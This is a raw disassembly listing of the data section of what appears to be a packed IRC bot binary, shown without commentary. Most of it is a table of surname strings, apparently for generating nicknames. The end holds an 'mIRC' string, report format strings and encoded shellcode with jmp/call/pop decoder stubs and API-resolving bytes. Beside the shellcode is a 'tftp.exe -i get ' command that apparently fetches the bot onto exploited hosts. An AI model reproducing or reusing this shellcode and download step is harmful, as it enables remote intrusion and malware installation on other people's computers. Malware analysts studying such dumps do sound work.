aEncinas db 'Encinas',0 ; DATA XREF: .packed:0042DEB4o
aElvis db 'Elvis',0 ; DATA XREF: .packed:0042DEB0o
align 4
aElmerick db 'Elmerick',0 ; DATA XREF: .packed:0042DEACo
align 4
aElmendorf db 'Elmendorf',0 ; DATA XREF: .packed:0042DEA8o
align 4
aEliasson db 'Eliasson',0 ; DATA XREF: .packed:0042DEA4o
align 10h
aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .packed:0042DEA0o
aEdward db 'Edward',0 ; DATA XREF: .packed:0042DE9Co
align 4
aEdner db 'Edner',0 ; DATA XREF: .packed:0042DE98o
align 4
aEdley db 'Edley',0 ; DATA XREF: .packed:0042DE94o
align 4
aEckel db 'Eckel',0 ; DATA XREF: .packed:0042DE90o
align 4
aEbeling db 'Ebeling',0 ; DATA XREF: .packed:0042DE8Co
aEardley db 'Eardley',0 ; DATA XREF: .packed:0042DE88o
aDwyer db 'Dwyer',0 ; DATA XREF: .packed:0042DE84o
align 4
aDussault db 'Dussault',0 ; DATA XREF: .packed:0042DE80o
align 10h
aDurrett db 'Durrett',0 ; DATA XREF: .packed:0042DE7Co
aDuffin db 'Duffin',0 ; DATA XREF: .packed:0042DE78o
align 10h
aDSouza db 'D',27h,'souza',0 ; DATA XREF: .packed:0042DE74o
aDrinker db 'Drinker',0 ; DATA XREF: .packed:0042DE70o
aDowsland db 'Dowsland',0 ; DATA XREF: .packed:0042DE6Co
align 4
aDoug db 'Doug',0 ; DATA XREF: .packed:0042DE68o
align 4
aDoty db 'Doty',0 ; DATA XREF: .packed:0042DE64o
align 4
aDosi db 'Dosi',0 ; DATA XREF: .packed:0042DE60o
align 4
aDorf db 'Dorf',0 ; DATA XREF: .packed:0042DE5Co
align 4
aDore db 'Dore',0 ; DATA XREF: .packed:0042DE58o
align 4
aDoonan db 'Doonan',0 ; DATA XREF: .packed:0042DE54o
align 4
aDonner db 'Donner',0 ; DATA XREF: .packed:0042DE50o
align 4
aDonahue db 'Donahue',0 ; DATA XREF: .packed:0042DE4Co
aDoherty db 'Doherty',0 ; DATA XREF: .packed:0042DE48o
aDockery db 'Dockery',0 ; DATA XREF: .packed:0042DE44o
aDirksen db 'Dirksen',0 ; DATA XREF: .packed:0042DE40o
aDionysius db 'Dionysius',0 ; DATA XREF: .packed:0042DE3Co
align 10h
aDilworth db 'Dilworth',0 ; DATA XREF: .packed:0042DE38o
align 4
aDifronzo db 'Difronzo',0 ; DATA XREF: .packed:0042DE34o
align 4
aDifabio db 'Difabio',0 ; DATA XREF: .packed:0042DE30o
aDiefenbach db 'Diefenbach',0 ; DATA XREF: .packed:0042DE2Co
align 4
aDicks db 'Dicks',0 ; DATA XREF: .packed:0042DE28o
align 4
aDFini db 'D',27h,'fini',0 ; DATA XREF: .packed:0042DE24o
align 4
aDeutsch db 'Deutsch',0 ; DATA XREF: .packed:0042DE20o
aDesombre db 'Desombre',0 ; DATA XREF: .packed:0042DE1Co
align 10h
aDenison db 'Denison',0 ; DATA XREF: .packed:0042DE18o
aDenham db 'Denham',0 ; DATA XREF: .packed:0042DE14o
align 10h
aDenault db 'Denault',0 ; DATA XREF: .packed:0042DE10o
aDemusz db 'Demusz',0 ; DATA XREF: .packed:0042DE0Co
align 10h
aDempster db 'Dempster',0 ; DATA XREF: .packed:0042DE08o
align 4
aDeming db 'Deming',0 ; DATA XREF: .packed:0042DE04o
align 4
aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .packed:0042DE00o
align 10h
aDelger db 'Delger',0 ; DATA XREF: .packed:0042DDFCo
align 4
aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .packed:0042DDF8o
align 4
aDelattre db 'Delattre',0 ; DATA XREF: .packed:0042DDF4o
align 4
aDefeciani db 'Defeciani',0 ; DATA XREF: .packed:0042DDF0o
align 10h
aDees db 'Dees',0 ; DATA XREF: .packed:0042DDECo
align 4
aDebroff db 'Debroff',0 ; DATA XREF: .packed:0042DDE8o
aDerousse db 'deRousse',0 ; DATA XREF: .packed:0042DDE4o
align 4
aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .packed:0042DDE0o
align 4
aDelapena db 'DeLaPena',0 ; DATA XREF: .packed:0042DDDCo
align 4
aDegennaro db 'DeGennaro',0 ; DATA XREF: .packed:0042DDD8o
align 10h
aDawkins db 'Dawkins',0 ; DATA XREF: .packed:0042DDD4o
aDavid db 'David',0 ; DATA XREF: .packed:0042DDD0o
align 10h
aDaskalu db 'Daskalu',0 ; DATA XREF: .packed:0042DDCCo
aDasgupta db 'Dasgupta',0 ; DATA XREF: .packed:0042DDC8o
align 4
aDas db 'Das',0 ; DATA XREF: .packed:0042DDC4o
aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .packed:0042DDC0o
aDapice db 'Dapice',0 ; DATA XREF: .packed:0042DDBCo
align 4
aDante db 'Dante',0 ; DATA XREF: .packed:0042DDB8o
align 4
aDanieli db 'Danieli',0 ; DATA XREF: .packed:0042DDB4o
aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .packed:0042DDB0o
aDaly db 'Daly',0 ; DATA XREF: .packed:0042DDACo
align 4
aDaldalian db 'Daldalian',0 ; DATA XREF: .packed:0042DDA8o
align 4
aDasilva db 'daSilva',0 ; DATA XREF: .packed:0042DDA4o
aCyders db 'Cyders',0 ; DATA XREF: .packed:0042DDA0o
align 4
aCvek db 'Cvek',0 ; DATA XREF: .packed:0042DD9Co
align 10h
aCutler db 'Cutler',0 ; DATA XREF: .packed:0042DD98o
align 4
aCurrier db 'Currier',0 ; DATA XREF: .packed:0042DD94o
aCui db 'Cui',0 ; DATA XREF: .packed:0042DD90o
aCroxton db 'Croxton',0 ; DATA XREF: .packed:0042DD8Co
aCroxen db 'Croxen',0 ; DATA XREF: .packed:0042DD88o
align 4
aCroshaw db 'Croshaw',0 ; DATA XREF: .packed:0042DD84o
aCrocker db 'Crocker',0 ; DATA XREF: .packed:0042DD80o
aCrawford db 'Crawford',0 ; DATA XREF: .packed:0042DD7Co
align 10h
aCoutaux db 'Coutaux',0 ; DATA XREF: .packed:0042DD78o
aCounter db 'Counter',0 ; DATA XREF: .packed:0042DD74o
aCosmides db 'Cosmides',0 ; DATA XREF: .packed:0042DD70o
align 4
aCornish db 'Cornish',0 ; DATA XREF: .packed:0042DD6Co
aCorey db 'Corey',0 ; DATA XREF: .packed:0042DD68o
align 4
aConnors db 'Connors',0 ; DATA XREF: .packed:0042DD64o
aCondodina db 'Condodina',0 ; DATA XREF: .packed:0042DD60o
align 10h
aConcino db 'Concino',0 ; DATA XREF: .packed:0042DD5Co
aComstock db 'Comstock',0 ; DATA XREF: .packed:0042DD58o
align 4
aCompton db 'Compton',0 ; DATA XREF: .packed:0042DD50o
; .packed:0042DD54o
aCollis db 'Collis',0 ; DATA XREF: .packed:0042DD4Co
align 4
aCollard db 'Collard',0 ; DATA XREF: .packed:0042DD48o
aColella db 'Colella',0 ; DATA XREF: .packed:0042DD44o
aColdren db 'Coldren',0 ; DATA XREF: .packed:0042DD40o
aCoito db 'Coito',0 ; DATA XREF: .packed:0042DD3Co
align 4
aCoblenz db 'Coblenz',0 ; DATA XREF: .packed:0042DD38o
aClow db 'Clow',0 ; DATA XREF: .packed:0042DD34o
align 4
aClifton db 'Clifton',0 ; DATA XREF: .packed:0042DD30o
aClement db 'Clement',0 ; DATA XREF: .packed:0042DD2Co
aClark db 'Clark',0 ; DATA XREF: .packed:0042DD28o
align 4
aClancy db 'Clancy',0 ; DATA XREF: .packed:0042DD24o
align 4
aClaffey db 'Claffey',0 ; DATA XREF: .packed:0042DD20o
aCifarelli db 'Cifarelli',0 ; DATA XREF: .packed:0042DD1Co
align 4
aCicero db 'Cicero',0 ; DATA XREF: .packed:0042DD18o
align 10h
aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .packed:0042DD14o
align 4
aChurch db 'Church',0 ; DATA XREF: .packed:0042DD10o
align 4
aChupasko db 'Chupasko',0 ; DATA XREF: .packed:0042DD0Co
align 10h
aChu db 'Chu',0 ; DATA XREF: .packed:0042DD08o
aChristopher db 'Christopher',0 ; DATA XREF: .packed:0042DD04o
aChristie db 'Christie',0 ; DATA XREF: .packed:0042DD00o
align 4
aChristiano db 'Christiano',0 ; DATA XREF: .packed:0042DCFCo
align 4
aChristian db 'Christian',0 ; DATA XREF: .packed:0042DCF8o
align 4
aChristenson db 'Christenson',0 ; DATA XREF: .packed:0042DCF4o
aChinman db 'Chinman',0 ; DATA XREF: .packed:0042DCF0o
aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .packed:0042DCECo
aChilds db 'Childs',0 ; DATA XREF: .packed:0042DCE8o
align 4
aChildress db 'Childress',0 ; DATA XREF: .packed:0042DCE4o
align 4
aChien db 'Chien',0 ; DATA XREF: .packed:0042DCE0o
align 10h
aChiassino db 'Chiassino',0 ; DATA XREF: .packed:0042DCDCo
align 4
aChervinsky db 'Chervinsky',0 ; DATA XREF: .packed:0042DCD8o
align 4
aCherry db 'Cherry',0 ; DATA XREF: .packed:0042DCD4o
align 10h
aCheang db 'Cheang',0 ; DATA XREF: .packed:0042DCD0o
align 4
aCharles db 'Charles',0 ; DATA XREF: .packed:0042DCCCo
aChapman db 'Chapman',0 ; DATA XREF: .packed:0042DCC8o
aCerioli db 'Cerioli',0 ; DATA XREF: .packed:0042DCC4o
aCeniceros db 'Ceniceros',0 ; DATA XREF: .packed:0042DCC0o
align 4
aCavell db 'Cavell',0 ; DATA XREF: .packed:0042DCBCo
align 4
aCavanagh db 'Cavanagh',0 ; DATA XREF: .packed:0042DCB8o
align 10h
aCastelda db 'Castelda',0 ; DATA XREF: .packed:0042DCB4o
align 4
aCaspar db 'Caspar',0 ; DATA XREF: .packed:0042DCB0o
align 4
aCase db 'Case',0 ; DATA XREF: .packed:0042DCACo
align 4
aCascio db 'Cascio',0 ; DATA XREF: .packed:0042DCA8o
align 4
aCartmill db 'Cartmill',0 ; DATA XREF: .packed:0042DCA4o
align 10h
aCarper db 'Carper',0 ; DATA XREF: .packed:0042DCA0o
align 4
aCaroti db 'Caroti',0 ; DATA XREF: .packed:0042DC9Co
align 10h
aCarmichael db 'Carmichael',0 ; DATA XREF: .packed:0042DC98o
align 4
aCarlyle db 'Carlyle',0 ; DATA XREF: .packed:0042DC94o
aCarlos db 'Carlos',0 ; DATA XREF: .packed:0042DC90o
align 4
aCarlin db 'Carlin',0 ; DATA XREF: .packed:0042DC8Co
align 4
aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .packed:0042DC88o
aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .packed:0042DC84o
aCapursi db 'Capursi',0 ; DATA XREF: .packed:0042DC80o
aCappuccio db 'Cappuccio',0 ; DATA XREF: .packed:0042DC7Co
align 4
aCapodilupo db 'Capodilupo',0 ; DATA XREF: .packed:0042DC78o
align 10h
aCapocaccia db 'Capocaccia',0 ; DATA XREF: .packed:0042DC74o
align 4
aCaperton db 'Caperton',0 ; DATA XREF: .packed:0042DC70o
align 4
aCapanni db 'Capanni',0 ; DATA XREF: .packed:0042DC6Co
aCanley db 'Canley',0 ; DATA XREF: .packed:0042DC68o
align 4
aCammilleri db 'Cammilleri',0 ; DATA XREF: .packed:0042DC64o
align 4
aCammelli db 'Cammelli',0 ; DATA XREF: .packed:0042DC60o
align 10h
aCalnan db 'Calnan',0 ; DATA XREF: .packed:0042DC5Co
align 4
aCage db 'Cage',0 ; DATA XREF: .packed:0042DC58o
align 10h
aByrd db 'Byrd',0 ; DATA XREF: .packed:0042DC54o
align 4
aByerly db 'Byerly',0 ; DATA XREF: .packed:0042DC50o
align 10h
aByatt db 'Byatt',0 ; DATA XREF: .packed:0042DC4Co
align 4
aBusetta db 'Busetta',0 ; DATA XREF: .packed:0042DC48o
aBurridge db 'Burridge',0 ; DATA XREF: .packed:0042DC44o
align 4
aBurke db 'Burke',0 ; DATA XREF: .packed:0042DC40o
align 4
aBurdzy db 'Burdzy',0 ; DATA XREF: .packed:0042DC3Co
align 4
aBurden db 'Burden',0 ; DATA XREF: .packed:0042DC38o
align 4
aBunton db 'Bunton',0 ; DATA XREF: .packed:0042DC34o
align 4
aBullard db 'Bullard',0 ; DATA XREF: .packed:0042DC30o
aBudding db 'Budding',0 ; DATA XREF: .packed:0042DC2Co
aBuchan db 'Buchan',0 ; DATA XREF: .packed:0042DC28o
align 4
aBrzycki db 'Brzycki',0 ; DATA XREF: .packed:0042DC24o
aBrook db 'Brook',0 ; DATA XREF: .packed:0042DC20o
align 4
aBroca db 'Broca',0 ; DATA XREF: .packed:0042DC1Co
align 4
aBritz db 'Britz',0 ; DATA XREF: .packed:0042DC18o
align 4
aBrinton db 'Brinton',0 ; DATA XREF: .packed:0042DC14o
aBridges db 'Bridges',0 ; DATA XREF: .packed:0042DC10o
aBridgeman db 'Bridgeman',0 ; DATA XREF: .packed:0042DC0Co
align 10h
aBrewer db 'Brewer',0 ; DATA XREF: .packed:0042DC04o
; .packed:0042DC08o
align 4
aBrennan db 'Brennan',0 ; DATA XREF: .packed:0042DC00o
aBrenan db 'Brenan',0 ; DATA XREF: .packed:0042DBFCo
align 4
aBreed db 'Breed',0 ; DATA XREF: .packed:0042DBF8o
align 10h
aBrecht db 'Brecht',0 ; DATA XREF: .packed:0042DBF4o
align 4
aBradach db 'Bradach',0 ; DATA XREF: .packed:0042DBF0o
aBradac db 'Bradac',0 ; DATA XREF: .packed:0042DBECo
align 4
aBracalente db 'Bracalente',0 ; DATA XREF: .packed:0042DBE8o
align 4
aBoyne db 'Boyne',0 ; DATA XREF: .packed:0042DBE4o
align 4
aBoym db 'Boym',0 ; DATA XREF: .packed:0042DBE0o
align 4
aBoyland db 'Boyland',0 ; DATA XREF: .packed:0042DBDCo
aBoyes db 'Boyes',0 ; DATA XREF: .packed:0042DBD8o
align 4
aBoyajian db 'Boyajian',0 ; DATA XREF: .packed:0042DBD4o
align 10h
aBoxer db 'Boxer',0 ; DATA XREF: .packed:0042DBD0o
align 4
aBowers db 'Bowers',0 ; DATA XREF: .packed:0042DBCCo
align 10h
aBourneuf db 'Bourneuf',0 ; DATA XREF: .packed:0042DBC8o
align 4
aBoudrot db 'Boudrot',0 ; DATA XREF: .packed:0042DBC4o
aBoudin db 'Boudin',0 ; DATA XREF: .packed:0042DBC0o
align 4
aBotosh db 'Botosh',0 ; DATA XREF: .packed:0042DBBCo
align 4
aBothman db 'Bothman',0 ; DATA XREF: .packed:0042DBB8o
aBossi db 'Bossi',0 ; DATA XREF: .packed:0042DBB4o
align 4
aBorden db 'Borden',0 ; DATA XREF: .packed:0042DBB0o
align 4
aBorack db 'Borack',0 ; DATA XREF: .packed:0042DBACo
align 4
aBoorstin db 'Boorstin',0 ; DATA XREF: .packed:0042DBA8o
align 10h
aBoone db 'Boone',0 ; DATA XREF: .packed:0042DBA4o
align 4
aBookbinder db 'Bookbinder',0 ; DATA XREF: .packed:0042DBA0o
align 4
aBook db 'Book',0 ; DATA XREF: .packed:0042DB9Co
align 4
aBontempo db 'Bontempo',0 ; DATA XREF: .packed:0042DB98o
align 4
aBoniface db 'Boniface',0 ; DATA XREF: .packed:0042DB94o
align 4
aBonham db 'Bonham',0 ; DATA XREF: .packed:0042DB90o
align 4
aBoner db 'Boner',0 ; DATA XREF: .packed:0042DB8Co
align 4
aBologna db 'Bologna',0 ; DATA XREF: .packed:0042DB88o
aBollinger db 'Bollinger',0 ; DATA XREF: .packed:0042DB84o
align 4
aBolick db 'Bolick',0 ; DATA XREF: .packed:0042DB80o
align 10h
aBolger db 'Bolger',0 ; DATA XREF: .packed:0042DB7Co
align 4
aBlyth db 'Blyth',0 ; DATA XREF: .packed:0042DB78o
align 10h
aBloxham db 'Bloxham',0 ; DATA XREF: .packed:0042DB74o
aBloemhof db 'Bloemhof',0 ; DATA XREF: .packed:0042DB70o
align 4
aBloembergen db 'Bloembergen',0 ; DATA XREF: .packed:0042DB6Co
aBloch db 'Bloch',0 ; DATA XREF: .packed:0042DB68o
align 4
aBlizard db 'Blizard',0 ; DATA XREF: .packed:0042DB64o
aBliss db 'Bliss',0 ; DATA XREF: .packed:0042DB60o
align 4
aBlanke db 'Blanke',0 ; DATA XREF: .packed:0042DB5Co
align 10h
aBlakemore db 'Blakemore',0 ; DATA XREF: .packed:0042DB58o
align 4
aBlagg db 'Blagg',0 ; DATA XREF: .packed:0042DB54o
align 4
aBlackwell db 'Blackwell',0 ; DATA XREF: .packed:0042DB50o
align 10h
aBlackbourn db 'Blackbourn',0 ; DATA XREF: .packed:0042DB4Co
align 4
aBisho db 'Bisho',0 ; DATA XREF: .packed:0042DB48o
align 4
aBisema db 'Bisema',0 ; DATA XREF: .packed:0042DB44o
align 4
aBir db 'Bir',0 ; DATA XREF: .packed:0042DB40o
aBinion db 'Binion',0 ; DATA XREF: .packed:0042DB3Co
align 4
aBickel db 'Bickel',0 ; DATA XREF: .packed:0042DB38o
align 10h
aBiagioli db 'Biagioli',0 ; DATA XREF: .packed:0042DB34o
align 4
aBeynart db 'Beynart',0 ; DATA XREF: .packed:0042DB30o
aBetti db 'Betti',0 ; DATA XREF: .packed:0042DB2Co
align 4
aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .packed:0042DB28o
align 4
aBernston db 'Bernston',0 ; DATA XREF: .packed:0042DB24o
align 4
aBernassola db 'Bernassola',0 ; DATA XREF: .packed:0042DB20o
align 4
aBernardo db 'Bernardo',0 ; DATA XREF: .packed:0042DB1Co
align 10h
aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .packed:0042DB18o
align 10h
aBergson db 'Bergson',0 ; DATA XREF: .packed:0042DB14o
aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .packed:0042DB10o
align 4
aBelloc db 'Belloc',0 ; DATA XREF: .packed:0042DB0Co
align 10h
aBellini db 'Bellini',0 ; DATA XREF: .packed:0042DB08o
aBellhouse db 'Bellhouse',0 ; DATA XREF: .packed:0042DB04o
align 4
aBellavance db 'Bellavance',0 ; DATA XREF: .packed:0042DB00o
align 10h
aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .packed:0042DAFCo
align 10h
aBelfer db 'Belfer',0 ; DATA XREF: .packed:0042DAF8o
align 4
aBelaoussof db 'Belaoussof',0 ; DATA XREF: .packed:0042DAF4o
align 4
aBelanger db 'Belanger',0 ; DATA XREF: .packed:0042DAF0o
align 10h
aBehenna db 'Behenna',0 ; DATA XREF: .packed:0042DAECo
aBedford db 'Bedford',0 ; DATA XREF: .packed:0042DAE8o
aBeder db 'Beder',0 ; DATA XREF: .packed:0042DAE4o
align 4
aBeckman db 'Beckman',0 ; DATA XREF: .packed:0042DAE0o
aBean db 'Bean',0 ; DATA XREF: .packed:0042DADCo
align 4
aBeal db 'Beal',0 ; DATA XREF: .packed:0042DAD8o
align 10h
aBeacon db 'Beacon',0 ; DATA XREF: .packed:0042DAD4o
align 4
aBayo db 'Bayo',0 ; DATA XREF: .packed:0042DAD0o
align 10h
aBayles db 'Bayles',0 ; DATA XREF: .packed:0042DACCo
align 4
aBaumiller db 'Baumiller',0 ; DATA XREF: .packed:0042DAC8o
align 4
aBatchelder db 'Batchelder',0 ; DATA XREF: .packed:0042DAC4o
align 10h
aBashevis db 'Bashevis',0 ; DATA XREF: .packed:0042DAC0o
align 4
aBasavappa db 'Basavappa',0 ; DATA XREF: .packed:0042DABCo
align 4
aBartoo db 'Bartoo',0 ; DATA XREF: .packed:0042DAB8o
align 10h
aBartolome db 'Bartolome',0 ; DATA XREF: .packed:0042DAB4o
align 4
aBartholomew db 'Bartholomew',0 ; DATA XREF: .packed:0042DAB0o
aBarry db 'Barry',0 ; DATA XREF: .packed:0042DAACo
align 10h
aBarriola db 'Barriola',0 ; DATA XREF: .packed:0042DAA8o
align 4
aBarnett db 'Barnett',0 ; DATA XREF: .packed:0042DAA4o
aBarneson db 'Barneson',0 ; DATA XREF: .packed:0042DAA0o
align 10h
aBarbetti db 'Barbetti',0 ; DATA XREF: .packed:0042DA9Co
align 4
aBarberi db 'Barberi',0 ; DATA XREF: .packed:0042DA98o
aBaranowska db 'Baranowska',0 ; DATA XREF: .packed:0042DA94o
align 10h
aBaranczak db 'Baranczak',0 ; DATA XREF: .packed:0042DA90o
align 4
aBarajas db 'Barajas',0 ; DATA XREF: .packed:0042DA8Co
aBarabesi db 'Barabesi',0 ; DATA XREF: .packed:0042DA88o
align 10h
aBanta db 'Banta',0 ; DATA XREF: .packed:0042DA84o
align 4
aBaltz db 'Baltz',0 ; DATA XREF: .packed:0042DA80o
align 10h
aBallew db 'Ballew',0 ; DATA XREF: .packed:0042DA7Co
align 4
aBallatori db 'Ballatori',0 ; DATA XREF: .packed:0042DA78o
align 4
aBaleja db 'Baleja',0 ; DATA XREF: .packed:0042DA74o
align 4
aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .packed:0042DA70o
align 4
aBailar db 'Bailar',0 ; DATA XREF: .packed:0042DA6Co
align 10h
aBagnold db 'Bagnold',0 ; DATA XREF: .packed:0042DA68o
aBaglivo db 'Baglivo',0 ; DATA XREF: .packed:0042DA64o
aBady db 'Bady',0 ; DATA XREF: .packed:0042DA60o
align 4
aBackus db 'Backus',0 ; DATA XREF: .packed:0042DA5Co
align 10h
aBachmuth db 'Bachmuth',0 ; DATA XREF: .packed:0042DA58o
align 4
aAzima db 'Azima',0 ; DATA XREF: .packed:0042DA54o
align 4
aAyling db 'Ayling',0 ; DATA XREF: .packed:0042DA50o
align 4
aAykroyd db 'Aykroyd',0 ; DATA XREF: .packed:0042DA4Co
aAyiemba db 'Ayiemba',0 ; DATA XREF: .packed:0042DA48o
aAxworthy db 'Axworthy',0 ; DATA XREF: .packed:0042DA44o
align 4
aAxelrod db 'Axelrod',0 ; DATA XREF: .packed:0042DA40o
aAurelius db 'Aurelius',0 ; DATA XREF: .packed:0042DA3Co
align 4
aAugustus db 'Augustus',0 ; DATA XREF: .packed:0042DA38o
align 4
aAtkins db 'Atkins',0 ; DATA XREF: .packed:0042DA34o
align 10h
aArky db 'Arky',0 ; DATA XREF: .packed:0042DA30o
align 4
aArjas db 'Arjas',0 ; DATA XREF: .packed:0042DA2Co
align 10h
aAristotle db 'Aristotle',0 ; DATA XREF: .packed:0042DA28o
align 4
aArellano db 'Arellano',0 ; DATA XREF: .packed:0042DA24o
align 4
aArduini db 'Arduini',0 ; DATA XREF: .packed:0042DA20o
aArbia db 'Arbia',0 ; DATA XREF: .packed:0042DA1Co
align 4
aAntos db 'Antos',0 ; DATA XREF: .packed:0042DA18o
align 10h
aAnthony db 'Anthony',0 ; DATA XREF: .packed:0042DA14o
aAnsley db 'Ansley',0 ; DATA XREF: .packed:0042DA10o
align 10h
aAnfinrud db 'Anfinrud',0 ; DATA XREF: .packed:0042DA0Co
align 4
aAndron db 'Andron',0 ; DATA XREF: .packed:0042DA08o
align 4
aAndrelus db 'Andrelus',0 ; DATA XREF: .packed:0042DA04o
align 10h
aAndo db 'Ando',0 ; DATA XREF: .packed:0042DA00o
align 4
aAndel db 'Andel',0 ; DATA XREF: .packed:0042D9FCo
align 10h
aAnand db 'Anand',0 ; DATA XREF: .packed:0042D9F8o
align 4
aAmsden db 'Amsden',0 ; DATA XREF: .packed:0042D9F4o
align 10h
aAmeer db 'Ameer',0 ; DATA XREF: .packed:0042D9F0o
align 4
aAmatangelo db 'Amatangelo',0 ; DATA XREF: .packed:0042D9ECo
align 4
aAmaral db 'Amaral',0 ; DATA XREF: .packed:0042D9E8o
align 4
aAltenhofen db 'Altenhofen',0 ; DATA XREF: .packed:0042D9E4o
align 4
aAltenberger db 'Altenberger',0 ; DATA XREF: .packed:0042D9E0o
aAltavilla db 'Altavilla',0 ; DATA XREF: .packed:0042D9DCo
align 10h
aAlongi db 'Alongi',0 ; DATA XREF: .packed:0042D9D8o
align 4
aAllison db 'Allison',0 ; DATA XREF: .packed:0042D9D4o
aAleks db 'Aleks',0 ; DATA XREF: .packed:0042D9D0o
align 4
aAlda db 'Alda',0 ; DATA XREF: .packed:0042D9CCo
align 10h
aAlcorn db 'Alcorn',0 ; DATA XREF: .packed:0042D9C8o
align 4
aAlavi db 'Alavi',0 ; DATA XREF: .packed:0042D9C4o
align 10h
aAhlers db 'Ahlers',0 ; DATA XREF: .packed:0042D9C0o
align 4
aAdorno db 'Adorno',0 ; DATA XREF: .packed:0042D9BCo
align 10h
aAdibe db 'Adibe',0 ; DATA XREF: .packed:0042D9B8o
align 4
aAdelstein db 'Adelstein',0 ; DATA XREF: .packed:0042D9B4o
align 4
aAddison db 'Addison',0 ; DATA XREF: .packed:off_42D9B0o
aAdams db 'Adams',0 ; DATA XREF: .packed:0042D9ACo
align 4
aAckerman db 'Ackerman',0 ; DATA XREF: .packed:0042D9A8o
align 10h
aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .packed:off_42D9A4o
align 4
byte_4315FC db 50h ; DATA XREF: .packed:0040ABE6o
; .packed:0040ABF3r
db 43h, 2 dup(0)
dword_431600 dd 7C7325h ; DATA XREF: .packed:0040AC91o
dword_431604 dd 5D73255Bh, 7Ch ; DATA XREF: .packed:0040AD9Bo
dword_43160C dd 3F3F3Fh ; DATA XREF: .packed:loc_40AD92o
; sub_41AF8F:loc_41B052o
dword_431610 dd 334B32h ; DATA XREF: .packed:0040AD8Bo
dword_431614 dd 5058h ; DATA XREF: .packed:0040AD7Do
; .packed:0040AF89o ...
dword_431618 dd 4B32h ; DATA XREF: .packed:0040AD6Do
; .packed:0040AF79o ...
dword_43161C dd 454Dh ; DATA XREF: .packed:0040AD54o
; .packed:0040AF60o ...
dword_431620 dd 3839h ; DATA XREF: .packed:0040AD44o
; .packed:0040AF50o ...
dword_431624 dd 544Eh ; DATA XREF: .packed:0040AD34o
; .packed:0040AF41o ...
dword_431628 dd 3539h ; DATA XREF: .packed:0040AD26o
; .packed:0040AF33o ...
dword_43162C dd 5D64255Bh, 7325h ; DATA XREF: sub_40ADE1+3Ao
dword_431634 dd 5D4D5Bh ; DATA XREF: sub_40ADE1+2Co
; sub_40ADE1+57o
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADE1+18o
; sub_41875E+5o
align 10h
aSSSS db '%s|%s|%s|%s|',0 ; DATA XREF: .packed:0040B0D6o
align 10h
a99 db '99',0 ; DATA XREF: .packed:loc_40B098o
align 4
a0D db '0%d',0 ; DATA XREF: .packed:0040B072o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: .packed:0040B054o
; sub_41ADD8+52o
off_431664 dd offset byte_4B4E55 ; DATA XREF: .packed:0040B037o
dword_431668 dd 345053h ; DATA XREF: .packed:0040B02Do
dword_43166C dd 34h ; DATA XREF: .packed:0040B021o
dword_431670 dd 335053h ; DATA XREF: .packed:0040B014o
dword_431674 dd 33h ; DATA XREF: .packed:0040B003o
dword_431678 dd 325053h ; DATA XREF: .packed:0040AFF6o
dword_43167C dd 32h ; DATA XREF: .packed:0040AFE5o
; =============== S U B R O U T I N E =======================================
sub_431680 proc near ; DATA XREF: .packed:0040AFD8o
push ebx
push eax
xor [eax], eax
sub_431680 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dword_431684 dd 305053h ; DATA XREF: .packed:0040AFBAo
dword_431688 dd 4E55h ; DATA XREF: .packed:loc_40AF9Eo
dword_43168C dd 3332h ; DATA XREF: .packed:0040AF97o
; ---------------------------------------------------------------------------
loc_431690: ; DATA XREF: sub_40B2B3+C4o
jmp short loc_431694
; ---------------------------------------------------------------------------
loc_431692: ; CODE XREF: .packed:loc_431694p
jmp short loc_431699
; ---------------------------------------------------------------------------
loc_431694: ; CODE XREF: .packed:loc_431690j
call loc_431692
loc_431699: ; CODE XREF: .packed:loc_431692j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_43169E dw 0FFFFh ; DATA XREF: sub_40B2B3+CCw
db 80h, 73h, 0Eh
byte_4316A3 db 0FFh ; DATA XREF: sub_40B2B3+D3w
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_4316A8: ; DATA XREF: sub_40B2B3+A2o
jmp short loc_4316AC
; ---------------------------------------------------------------------------
loc_4316AA: ; CODE XREF: .packed:loc_4316ACp
jmp short loc_4316B1
; ---------------------------------------------------------------------------
loc_4316AC: ; CODE XREF: .packed:loc_4316A8j
call loc_4316AA
loc_4316B1: ; CODE XREF: .packed:loc_4316AAj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_4316B5 db 0FFh ; DATA XREF: sub_40B2B3+AAw
dw 7380h
db 0Ch
byte_4316B9 db 0FFh ; DATA XREF: sub_40B2B3+B0w
dw 0E243h
dd 0F9h
dword_4316C0 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_40B13C+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_431724 dd 12h ; DATA XREF: sub_40B13C+3Dw
aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0 db 'j',0
db 0E8h
dword_43173D dd 17h ; DATA XREF: sub_40B13C+4Dw
; ---------------------------------------------------------------------------
jnz short near ptr byte_431744
retn
; ---------------------------------------------------------------------------
byte_431744 db 0E8h ; CODE XREF: .packed:00431741j
dword_431745 dd 1 ; DATA XREF: sub_40B13C+45w
